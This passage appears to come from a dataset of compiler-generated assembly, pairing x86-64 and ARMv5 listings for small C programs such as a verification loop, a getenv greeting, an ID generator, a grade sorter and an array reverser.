str r3, [fp, #-40]
b .L8
.L9:
ldr r3, [fp, #-32]
ldr r2, [fp, #-40]
mov r1, #1
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L8:
ldr r3, .L23+4
ldr r3, [r3]
ldr r2, [fp, #-40]
cmp r2, r3
blt .L9
mov r3, #0
str r3, [fp, #-40]
b .L10
.L11:
ldr r3, [fp, #-24]
ldr r2, [fp, #-40]
mov r1, #1
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L10:
ldr r3, .L23+4
ldr r3, [r3]
ldr r2, [fp, #-40]
cmp r2, r3
blt .L11
mov r3, #0
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-40]
b .L12
.L13:
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
ldr r1, [fp, #-40]
ldr r3, [r3, r1, lsl #2]
add r3, r2, r3
str r3, [fp, #-20]
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L12:
ldr r3, .L23+4
ldr r3, [r3]
ldr r2, [fp, #-40]
cmp r2, r3
blt .L13
mov r3, #0
str r3, [fp, #-40]
b .L14
.L15:
ldr r2, [fp, #-20]
ldr r3, [fp, #-24]
ldr r1, [fp, #-40]
ldr r3, [r3, r1, lsl #2]
add r3, r2, r3
str r3, [fp, #-20]
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L14:
ldr r3, .L23+4
ldr r3, [r3]
ldr r2, [fp, #-40]
cmp r2, r3
blt .L15
mov r3, #0
str r3, [fp, #-40]
b .L16
.L19:
ldr r3, [fp, #-40]
str r3, [fp, #-44]
b .L17
.L18:
ldr r3, [fp, #-24]
ldr r2, [fp, #-40]
ldr r2, [r3, r2, lsl #2]
ldr r3, [fp, #-20]
add r1, r2, r3
ldr r3, [fp, #-24]
ldr r2, [fp, #-40]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L17:
ldr r3, .L23+4
ldr r3, [r3]
ldr r2, [fp, #-44]
cmp r2, r3
blt .L18
ldr r3, [fp, #-24]
ldr r2, [fp, #-40]
ldr r3, [r3, r2, lsl #2]
add r1, r3, #1
ldr r3, [fp, #-24]
ldr r2, [fp, #-40]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L16:
ldr r3, .L23+4
ldr r3, [r3]
ldr r2, [fp, #-40]
cmp r2, r3
blt .L19
mov r3, #0
str r3, [fp, #-40]
b .L20
.L21:
ldr r3, [fp, #-24]
ldr r2, [fp, #-40]
ldr r2, [r3, r2, lsl #2]
ldr r3, .L23+4
ldr r1, [r3]
ldr r3, [fp, #-40]
sub r3, r1, r3
ldr r1, .L23+4
ldr r1, [r1]
mul r3, r1, r3
lsl r3, r3, #1
cmp r2, r3
moveq r3, #1
movne r3, #0
and r3, r3, #255
mov r0, r3
bl __VERIFIER_assert
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L20:
ldr r3, .L23+4
ldr r3, [r3]
ldr r2, [fp, #-40]
cmp r2, r3
blt .L21
mov sp, r4
mov r3, #0
.L7:
ldr r2, .L23
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L22
bl __stack_chk_fail
.L22:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L24:
.align 2
.L23:
.word .LC0
.word N
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "428997.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "USER_NAME"
.LC1:
.string "Hello %s!\n"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
lea rdi, .LC0[rip]
call getenv@PLT
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "428997.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "USER_NAME\000"
.align 2
.LC1:
.ascii "Hello %s!\012\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
ldr r0, .L3
bl getenv
mov r3, r0
mov r1, r3
ldr r0, .L3+4
bl printf
mov r3, #0
mov r0, r3
pop {fp, pc}
.L4:
.align 2
.L3:
.word .LC0
.word .LC1
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "934163.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov edi, 8
call GEN_ID
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call puts@PLT
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.section .rodata
.LC0:
.string "DE"
.LC1:
.string "%08X"
.LC2:
.string "integer = %d string = %s\n"
.align 8
.LC3:
.string "The string 'str' is %s and the number 'num' is %X. \n"
.text
.globl GEN_ID
.type GEN_ID, @function
GEN_ID:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 88
.cfi_offset 3, -24
mov DWORD PTR -84[rbp], edi
mov rax, QWORD PTR fs:40
mov QWORD PTR -24[rbp], rax
xor eax, eax
mov DWORD PTR -68[rbp], -1
mov edi, 0
call time@PLT
mov edi, eax
call srand@PLT
call rand@PLT
mov edx, 0
div DWORD PTR -68[rbp]
mov DWORD PTR -64[rbp], edx
mov DWORD PTR -72[rbp], 0
jmp .L4
.L5:
mov rbx, QWORD PTR -56[rbp]
mov rdi, rbx
call strlen@PLT
add rax, rbx
mov WORD PTR [rax], 70
add DWORD PTR -72[rbp], 1
.L4:
mov eax, DWORD PTR -72[rbp]
cmp eax, DWORD PTR -84[rbp]
jl .L5
mov rax, QWORD PTR -56[rbp]
mov rdi, rax
call puts@PLT
mov rax, QWORD PTR -56[rbp]
lea rcx, -56[rbp]
mov edx, 16
mov rsi, rcx
mov rdi, rax
call strtoul@PLT
mov DWORD PTR -60[rbp], eax
mov rax, QWORD PTR -56[rbp]
mov rdi, rax
call strlen@PLT
add rax, 1
mov rdi, rax
call malloc@PLT
mov QWORD PTR -48[rbp], rax
lea rax, .LC0[rip]
mov QWORD PTR -40[rbp], rax
mov rax, QWORD PTR -40[rbp]
mov rdi, rax
call strlen@PLT
mov rbx, rax
mov rax, QWORD PTR -48[rbp]
mov rdi, rax
call strlen@PLT
add rax, rbx
mov rdi, rax
call malloc@PLT
mov QWORD PTR -32[rbp], rax
mov edx, DWORD PTR -64[rbp]
mov rax, QWORD PTR -48[rbp]
lea rsi, .LC1[rip]
mov rdi, rax
mov eax, 0
call sprintf@PLT
mov rdx, QWORD PTR -40[rbp]
mov rax, QWORD PTR -32[rbp]
mov rsi, rdx
mov rdi, rax
call strcpy@PLT
mov rdx, QWORD PTR -48[rbp]
mov rax, QWORD PTR -32[rbp]
mov rsi, rdx
mov rdi, rax
call strcat@PLT
mov rax, QWORD PTR -32[rbp]
mov rdi, rax
call puts@PLT
mov rdx, QWORD PTR -48[rbp]
mov eax, DWORD PTR -64[rbp]
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -56[rbp]
mov edx, DWORD PTR -60[rbp]
mov rsi, rax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -32[rbp]
mov rcx, QWORD PTR -24[rbp]
sub rcx, QWORD PTR fs:40
je .L7
call __stack_chk_fail@PLT
.L7:
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size GEN_ID, .-GEN_ID
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "934163.c"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
mov r0, #8
bl GEN_ID
str r0, [fp, #-8]
ldr r0, [fp, #-8]
bl puts
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size main, .-main
.global __aeabi_uidivmod
.section .rodata
.align 2
.LC0:
.ascii "F\000"
.align 2
.LC1:
.ascii "DE\000"
.align 2
.LC2:
.ascii "%08X\000"
.align 2
.LC3:
.ascii "integer = %d string = %s\012\000"
.align 2
.LC4:
.ascii "The string 'str' is %s and the number 'num' is %X. "
.ascii "\012\000"
.align 2
.LC5:
.word __stack_chk_guard
.text
.align 2
.global GEN_ID
.syntax unified
.arm
.fpu softvfp
.type GEN_ID, %function
GEN_ID:
@ args = 0, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #52
str r0, [fp, #-56]
ldr r3, .L8
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mvn r3, #0
str r3, [fp, #-40]
mov r0, #0
bl time
mov r3, r0
mov r0, r3
bl srand
bl rand
mov r3, r0
ldr r1, [fp, #-40]
mov r0, r3
bl __aeabi_uidivmod
mov r3, r1
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-44]
b .L4
.L5:
ldr r4, [fp, #-48]
mov r0, r4
bl strlen
mov r3, r0
add r3, r4, r3
ldr r2, .L8+4
mov r0, r3
mov r1, r2
mov r3, #2
mov r2, r3
bl memcpy
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L4:
ldr r2, [fp, #-44]
ldr r3, [fp, #-56]
cmp r2, r3
blt .L5
ldr r3, [fp, #-48]
mov r0, r3
bl puts
ldr r3, [fp, #-48]
sub r1, fp, #48
mov r2, #16
mov r0, r3
bl strtoul
str r0, [fp, #-32]
ldr r3, [fp, #-48]
mov r0, r3
bl strlen
mov r3, r0
add r3, r3, #1
mov r0, r3
bl malloc
mov r3, r0
str r3, [fp, #-28]
ldr r3, .L8+8
str r3, [fp, #-24]
ldr r0, [fp, #-24]
bl strlen
mov r4, r0
ldr r0, [fp, #-28]
bl strlen
mov r3, r0
add r3, r4, r3
mov r0, r3
bl malloc
mov r3, r0
str r3, [fp, #-20]
ldr r2, [fp, #-36]
ldr r1, .L8+12
ldr r0, [fp, #-28]
bl sprintf
ldr r1, [fp, #-24]
ldr r0, [fp, #-20]
bl strcpy
ldr r1, [fp, #-28]
ldr r0, [fp, #-20]
bl strcat
ldr r0, [fp, #-20]
bl puts
ldr r2, [fp, #-28]
ldr r1, [fp, #-36]
ldr r0, .L8+16
bl printf
ldr r3, [fp, #-48]
ldr r2, [fp, #-32]
mov r1, r3
ldr r0, .L8+20
bl printf
ldr r3, [fp, #-20]
ldr r2, .L8
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L7
bl __stack_chk_fail
.L7:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L9:
.align 2
.L8:
.word .LC5
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.size GEN_ID, .-GEN_ID
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "55602.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "55602.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "624951.c"
.intel_syntax noprefix
.text
.globl ordena
.type ordena, @function
ordena:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -40[rbp], rdi
mov DWORD PTR -44[rbp], esi
mov DWORD PTR -24[rbp], 0
jmp .L2
.L8:
mov eax, DWORD PTR -24[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm0, DWORD PTR 4[rax]
movss DWORD PTR -20[rbp], xmm0
mov eax, DWORD PTR -24[rbp]
mov DWORD PTR -16[rbp], eax
mov eax, DWORD PTR -24[rbp]
add eax, 1
mov DWORD PTR -12[rbp], eax
jmp .L3
.L6:
mov eax, DWORD PTR -12[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm0, DWORD PTR 4[rax]
comiss xmm0, DWORD PTR -20[rbp]
jbe .L4
mov eax, DWORD PTR -12[rbp]
mov DWORD PTR -16[rbp], eax
mov eax, DWORD PTR -12[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm0, DWORD PTR 4[rax]
movss DWORD PTR -20[rbp], xmm0
.L4:
add DWORD PTR -12[rbp], 1
.L3:
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -44[rbp]
jl .L6
mov eax, DWORD PTR -16[rbp]
cmp eax, DWORD PTR -24[rbp]
je .L7
mov eax, DWORD PTR -24[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -8[rbp], xmm0
mov eax, DWORD PTR -16[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rdx, rax
mov eax, DWORD PTR -24[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -16[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm0, DWORD PTR -8[rbp]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -24[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm0, DWORD PTR 4[rax]
movss DWORD PTR -4[rbp], xmm0
mov eax, DWORD PTR -16[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rdx, rax
mov eax, DWORD PTR -24[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rcx
movss xmm0, DWORD PTR 4[rdx]
movss DWORD PTR 4[rax], xmm0
mov eax, DWORD PTR -16[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm0, DWORD PTR -4[rbp]
movss DWORD PTR 4[rax], xmm0
.L7:
add DWORD PTR -24[rbp], 1
.L2:
mov eax, DWORD PTR -24[rbp]
cmp eax, DWORD PTR -44[rbp]
jl .L8
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size ordena, .-ordena
.section .rodata
.LC0:
.string "Dados do aluno %d: "
.LC1:
.string "%f %f %f"
.LC3:
.string "N\303\272mero\tM\303\251dia"
.LC4:
.string "%05.f\t%.1f\n"
.text
.globl main
.type main, @function
main:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -56[rbp], 0
jmp .L11
.L12:
mov eax, DWORD PTR -56[rbp]
add eax, 1
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rdx, -48[rbp]
mov eax, DWORD PTR -56[rbp]
cdqe
sal rax, 3
lea rsi, [rdx+rax]
lea rdx, -60[rbp]
lea rax, -64[rbp]
mov rcx, rdx
mov rdx, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
movss xmm1, DWORD PTR -64[rbp]
movss xmm0, DWORD PTR -60[rbp]
addss xmm0, xmm1
movss xmm1, DWORD PTR .LC2[rip]
divss xmm0, xmm1
mov eax, DWORD PTR -56[rbp]
cdqe
movss DWORD PTR -44[rbp+rax*8], xmm0
add DWORD PTR -56[rbp], 1
.L11:
cmp DWORD PTR -56[rbp], 3
jle .L12
lea rax, -48[rbp]
mov esi, 4
mov rdi, rax
call ordena
lea rdi, .LC3[rip]
call puts@PLT
mov DWORD PTR -52[rbp], 0
jmp .L13
.L14:
mov eax, DWORD PTR -52[rbp]
cdqe
movss xmm0, DWORD PTR -44[rbp+rax*8]
cvtss2sd xmm0, xmm0
mov eax, DWORD PTR -52[rbp]
cdqe
movss xmm1, DWORD PTR -48[rbp+rax*8]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movq rax, xmm2
movapd xmm1, xmm0
movq xmm0, rax
lea rdi, .LC4[rip]
mov eax, 2
call printf@PLT
add DWORD PTR -52[rbp], 1
.L13:
cmp DWORD PTR -52[rbp], 3
jle .L14
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L16
call __stack_chk_fail@PLT
.L16:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size main, .-main
.section .rodata
.align 4
.LC2:
.long 1073741824
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "624951.c"
.text
.global __aeabi_fcmplt
.align 2
.global ordena
.syntax unified
.arm
.fpu softvfp
.type ordena, %function
ordena:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-32]
str r1, [fp, #-36]
mov r3, #0
str r3, [fp, #-28]
b .L2
.L8:
ldr r3, [fp, #-28]
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r3, [r3, #4] @ float
str r3, [fp, #-24] @ float
ldr r3, [fp, #-28]
str r3, [fp, #-20]
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-16]
b .L3
.L6:
ldr r3, [fp, #-16]
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r3, [r3, #4] @ float
mov r1, r3
ldr r0, [fp, #-24] @ float
bl __aeabi_fcmplt
mov r3, r0
cmp r3, #0
beq .L4
ldr r3, [fp, #-16]
str r3, [fp, #-20]
ldr r3, [fp, #-16]
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r3, [r3, #4] @ float
str r3, [fp, #-24] @ float
.L4:
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L3:
ldr r2, [fp, #-16]
ldr r3, [fp, #-36]
cmp r2, r3
blt .L6
ldr r2, [fp, #-20]
ldr r3, [fp, #-28]
cmp r2, r3
beq .L7
ldr r3, [fp, #-28]
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-12] @ float
ldr r3, [fp, #-20]
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r2, r2, r3
ldr r3, [fp, #-28]
lsl r3, r3, #3
ldr r1, [fp, #-32]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-20]
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-12] @ float
str r2, [r3] @ float
ldr r3, [fp, #-28]
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r3, [r3, #4] @ float
str r3, [fp, #-8] @ float
ldr r3, [fp, #-20]
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r2, r2, r3
ldr r3, [fp, #-28]
lsl r3, r3, #3
ldr r1, [fp, #-32]
add r3, r1, r3
ldr r2, [r2, #4] @ float
str r2, [r3, #4] @ float
ldr r3, [fp, #-20]
lsl r3, r3, #3
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-8] @ float
str r2, [r3, #4] @ float
.L7:
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L2:
ldr r2, [fp, #-28]
ldr r3, [fp, #-36]
cmp r2, r3
blt .L8
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size ordena, .-ordena
.section .rodata
.align 2
.LC0:
.ascii "Dados do aluno %d: \000"
.align 2
.LC1:
.ascii "%f %f %f\000"
.global __aeabi_fadd
.global __aeabi_fdiv
.align 2
.LC2:
.ascii "N\303\272mero\011M\303\251dia\000"
.global __aeabi_f2d
.align 2
.LC3:
.ascii "%05.f\011%.1f\012\000"
.align 2
.LC4:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 56
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #64
ldr r3, .L17
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, #0
str r3, [fp, #-56]
b .L11
.L12:
ldr r3, [fp, #-56]
add r3, r3, #1
mov r1, r3
ldr r0, .L17+4
bl printf
sub r2, fp, #48
ldr r3, [fp, #-56]
lsl r3, r3, #3
add r1, r2, r3
sub r3, fp, #60
sub r2, fp, #64
ldr r0, .L17+8
bl __isoc99_scanf
ldr r3, [fp, #-64] @ float
ldr r2, [fp, #-60] @ float
mov r1, r2
mov r0, r3
bl __aeabi_fadd
mov r3, r0
mov r1, #1073741824
mov r0, r3
bl __aeabi_fdiv
mov r3, r0
mov r2, r3
ldr r3, [fp, #-56]
lsl r3, r3, #3
sub r1, fp, #12
add r3, r1, r3
str r2, [r3, #-32] @ float
ldr r3, [fp, #-56]
add r3, r3, #1
str r3, [fp, #-56]
.L11:
ldr r3, [fp, #-56]
cmp r3, #3
ble .L12
sub r3, fp, #48
mov r1, #4
mov r0, r3
bl ordena
ldr r0, .L17+12
bl puts
mov r3, #0
str r3, [fp, #-52]
b .L13
.L14:
ldr r3, [fp, #-52]
lsl r3, r3, #3
sub r2, fp, #12
add r3, r2, r3
ldr r3, [r3, #-36] @ float
mov r0, r3
bl __aeabi_f2d
mov r4, r0
mov r5, r1
ldr r3, [fp, #-52]
lsl r3, r3, #3
sub r2, fp, #12
add r3, r2, r3
ldr r3, [r3, #-32] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
stm sp, {r2-r3}
mov r2, r4
mov r3, r5
ldr r0, .L17+16
bl printf
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
.L13:
ldr r3, [fp, #-52]
cmp r3, #3
ble .L14
mov r3, #0
ldr r2, .L17
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L16
bl __stack_chk_fail
.L16:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L18:
.align 2
.L17:
.word .LC4
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "325284.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "325284.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "142790.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "142790.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "732868.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "enter size of array"
.LC1:
.string "%d"
.LC2:
.string "enter %d element\n"
.LC3:
.string "in original order:- "
.LC4:
.string "%d "
.LC5:
.string "\nin reverse :- "
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 56
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov rbx, rax
lea rdi, .LC0[rip]
call puts@PLT
lea rax, -88[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov eax, DWORD PTR -88[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -72[rbp], rdx
movsx rdx, eax
mov r14, rdx
mov r15d, 0
movsx rdx, eax
mov r12, rdx
mov r13d, 0
cdqe
lea rdx, 0[0+rax*4]
mov eax, 16
sub rax, 1
add rax, rdx
mov ecx, 16
mov edx, 0
div rcx
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L2:
cmp rsp, rdx
je .L3
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L2
.L3:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L4
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L4:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
mov QWORD PTR -64[rbp], rax
mov DWORD PTR -76[rbp], 0
jmp .L5
.L6:
mov eax, DWORD PTR -76[rbp]
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
